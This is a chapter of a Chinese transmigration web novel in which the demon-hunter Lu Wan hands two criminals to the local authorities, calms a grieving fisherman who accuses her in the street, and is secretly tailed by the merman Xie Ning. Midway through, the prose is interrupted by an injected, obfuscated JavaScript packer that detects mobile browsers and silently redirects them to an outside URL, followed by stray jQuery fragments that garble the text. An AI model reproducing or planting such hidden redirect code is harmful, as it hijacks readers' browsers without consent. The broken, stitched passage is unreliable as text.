翌日清晨,陆绾先去了一趟珍宝阁,把那掌柜和店小二送到了塘衣镇下设的天狱府。


    见王大壮还在昏迷中,她就没有叫醒他。


    天狱府并不是指一处地名,而是一类行政机构,它类似于现代的警察局,大到首都、小到城镇,都会有天狱府。


    塘衣镇的天狱府很小,且由于常年未有妖物出现,导致只有两三个捉妖师在里面守着。


    见陆绾绑着两人来,为首的长官随意接下了人,并摆摆手让陆绾离开。


    陆绾疑惑地问道:“长官,不用审的吗?”


    长官敷衍道:“不用,这地儿一年到头都没几个捉妖师犯事,上头还嫌小爷我办事不力。现在终于有人来了,交给上头就可以。”


    陆绾听后不太高兴,她冷冷道:“就算你们这儿犯案稀少,也不能为求政绩草草办案。”


    长官面露不快道:“哪里来的宵小之辈,天御府办事容不得你置喙!”说着,便递给身边小厮一个眼神,“拖出去拖出去!”


    陆绾亮出“渡尘”,这拂尘如同一个标志,她每每带在身上,就有人认出她是陆卿回。但她又不愿意用身份压着别人,所以今早出门时特地收了起来。


    但是,该用身份压人的时候还得压,尤其是对这种踩高捧低的小人。


    那长官看到“渡尘”,连忙道歉道:“对不住,是小的眼花,竟是陆道长!”


    “你知道就好。”陆绾收回“渡尘”,侧过身子,用斜睨的眼神瞥着他:“接下来该怎么做?”


    “小的一定认真办案,可是既然是道长您送来的,他们肯定有罪啊!!那小的还要……查吗?”


    陆绾盯着他道:“因为在下是陆家人,你就办案了?现下又因为这个身份,你又不查了?原来这世上,法律规矩不重要,身份才是最重要的?”


    “不是,不是,小的这就细细查案!三日后,还得麻烦道长您来听审。”


    “嗯。”陆绾头也不回地走了。


    她还要去一趟珍宝阁。


    行走在熙熙攘攘的街道上,陆绾看着自己一身道袍,再看向身旁穿着大襟布杉的行人,总有一种恍如隔世的感觉。


    穿书好几天了,好像还跟做梦一样。


    唯一让她有些亲近感的,可能就是码头边的各种货船了吧。


    她在船舶研究所工作,像这种古代帆船,她在资料上见过不少。


    将目光对向最大的那一只,四个风帆,横向倾斜面对迎风面,吃水大约也有四五米,用作远洋航行是够用的。


    只不过,旁边这些渔民平常打渔用的小木船,看着工艺不精啊,这样很容易翻船的。


    陆绾是个心善的人,若是能用自己擅长的帮到他人,哪怕是在书中所见,她也是很乐意去做的。


    她正思考着怎么帮到这帮渔民,却听“砰”一声巨响,显然是又有什么人跪在了她身旁。


    陆绾摸了摸袖口,她不是把渡尘放进来了吗???


    扭头看去,确是一张熟悉的,泪流满面的脸。


    是王大壮。


    他边哭边喊道:“道长,我是听闻你愿意救我们这群渔民,才向你求救的。可是,你把我打晕扔在珍宝阁又是怎么回事?您既然不愿意帮我,当初为何要答应我,现在我儿子生死未知,你怎么还悠闲地站在这里看风景啊?”


    陆绾想把人扶起来,结果被推了一把,王大壮继续嚎哭道:“苍天啊,救救我的儿啊,谁来评评理,这可是陆卿回啊,怎么能见死不救呢?”


    本来他当街跪人就招来不少眼光,这下喊出了“陆卿回”三字,周围人全涌了上来。


    他们窃窃私语道:“陆道长见死不救?不可能啊!”


    “为何不可能,一开始愿意救人,后来名利熏心作恶的捉妖师也不少,就算是陆卿回也有可能!”


    “不可能,上次我孩儿发烧寻不到郎中,半夜去求陆道长,她裹着里衣就出来见我了。如果没有她,我孩子不可能活这么大。”


    议论声越来越大,有人站出来发声:“你自己救不了儿子,就把脏水泼在陆道长身上?道长自从来到小渔村旁边的山腰上,救下的人数都数不回来!你现在的行为,就是道德绑架,给道长泼脏水。”


    “对,道长不是这样的人!”


    陆绾看着纷纷站出来为自己说话的父老乡亲们,内心很是感动,好人有好报,每个世界都应该是这样的。


    陆卿回做这一切都是值得的。


    但这王大壮,也是思儿心切,才出口污蔑她,或许劝劝他还能挽回。


    她将王大壮扶起,解释道:“在下没有见死不救,只是那日情况,您醒着不太方便。”


    王大壮用粗胖的手指抹了抹鼻涕,难受道:“道长是嫌弃我拖您后腿了吗?”


    陆绾:确实有一点,但是我也不好直说啊……


    她换了一种说法,贴身在王大壮耳边悄声说:“在下根据掌柜的话,猜测出您儿子是被妖怪抓走了,在下害怕您跟着我会受到危险,才出此下策的。”


    说罢,她从怀中掏出之前的“听魂符”,道:“叔叔若是不信,我这有证据,您可以听听。”


    又补充道:“今早我也把那两个恶人送去天狱府了,三日后开庭,叔叔也可以来看。”


    王大壮听了“听混符”的内容,脸变得又红又紫,像熟透了的苹果一样,半天才不好意思地低下头道:“是我太害怕……太害怕,才,才,道长,我……我……”


    "没事的。"陆绾温和地笑笑,继而转身对众人作了个揖礼:“大家都散了吧,是陆某和这位叔叔有个误会,烦扰到大家了。”


    “我就说陆道长不可能见死不救,这死胖子还不依不饶的。”一个年轻妇女为陆卿回抱不平道。


    陆绾听了这话,对那妇女笑道:“姑娘既知‘不依不饶’,那也要明白‘得饶人处且饶人’。”


    “道长说得是。”妇女提着手里的菜篮子回道,“祝道长以后捉妖顺利。”


    “谢谢。”


    等众人散去后,陆绾才对王大壮说道:“没事,这有一袋银子,你拿上先回家吧。”


    “谢谢道长。”王大壮鼻涕流得满脸都是,他哭道:“道长之恩,我”


    陆绾打断他:“不用谢我。只是你要记得,有的时候,在查明真相前,不要平白无故给别人泼脏水。造谣是很可怕的,有时候一传十十传百,甚至可以杀死一个人。”


    王大壮愧疚道:“道长教训的对,我是个粗人,一着急便什么都忘了,对不起。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15642395|172127||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    陆绾摇头道:“知错能改,善莫大焉。只是我想问问叔叔,你的儿媳,可有生过什么病?”


    王大壮挠挠脑袋,思索到:“厮,好像没有啊。”


    “叔叔再想想?”


    “我那儿媳之前磕过脑袋,不过已经是很久的事情了。最近,倒真没有什么病……”


    陆绾眉头微皱,她思索了一下,追问道:“那可有失忆?”


    王大壮摇摇头,道:“那我还真不知道,她脑袋被磕的时候,我儿还不认识她呢?”


    如果失忆也算病,那会不会鲛人的鳞片,也能治疗失忆之症?


    她谢过王大壮,帮他找了马车,便离开了街道,往那掌柜的府邸去了。


    一路上她一直在思考,如果是失忆,那王小壮让她恢复记忆的动机又是什么?当爹的又为什么不知道自己儿子是捉妖师?


    她思考得入神,便没注意路,一不小心撞到了树桩子上。


    陆绾捂住脑袋:我嘞个豆!


    她被树皮直接创到脑门破皮了!??


    痛感后知后觉的钻入身体,先是发麻,然后是火辣辣的疼,最后又麻又辣,跟吃了重庆火锅似的。


    她怎么这么倒霉!


    左转转右转转,见四周无人,陆绾直接给树来了一脚,还凶狠地喊了一声“倒霉”!


    枝头的绿叶因这一脚从上面掉了下来,飘在陆绾的耳朵上。


    接着,是系统的提示音:


    【OCC,-5】


    陆绾心中纳闷:“什么情况,这里没人啊小明,你不是说只要没被小说里的其他人看到,我就可以肆意妄为的吗?”


    【是这样的,但您被看到了。】


    被……看到了?难不成,谢宁在跟踪她?


    谢宁确实在跟踪他。


    陆卿回早上起来时,便要说出去办点事,交代他在府中安心养病。


    但是他怎么可能让陆卿回离开自己的视线?


    于是他浪费了点妖力,变成了一只乌鸦,一直跟着陆卿回飞。


    跟着她去了天狱府,又跟着她来到码头,看见她一直盯着大海看,他也跟着看。


    他想家了……


    仇恨再度涌现,等回过神来,却见陆卿回被一群人围住了。之前那个叫王大壮的,口口声声说她见死不救。


    看吧,人心都是这样,恶心、肮脏,陆卿回废寝忘食地救他的好儿子,最后还要被泼下这么一盆脏水。


    他转动指尖,随机找了一个幸运儿当傀儡。


    这是鲛人的一个秘术,被选中的人,在短时间内会听从施术者的命令。


    他让那人说:“为何不可能……就算是陆卿回也有可能。”


    本以为那群人会对陆卿回恶语相向,可他们并没有,反而是向着陆卿回说话。之后,陆卿回也没有责怪王大壮,甚至还给他了一袋银两。


    当时阳光正好,晨曦穿过海岸,随着海风照在她的身上,美好又恬静。


    他的心好像被攥了一下。


    当年真是陆卿回带着陆家人屠杀的东海鲛人一族吗?


    他有些不确定,便杂乱无章地跟在陆卿回后面飞。


    直到看见她踹树。


    他不可抑制地低笑起来。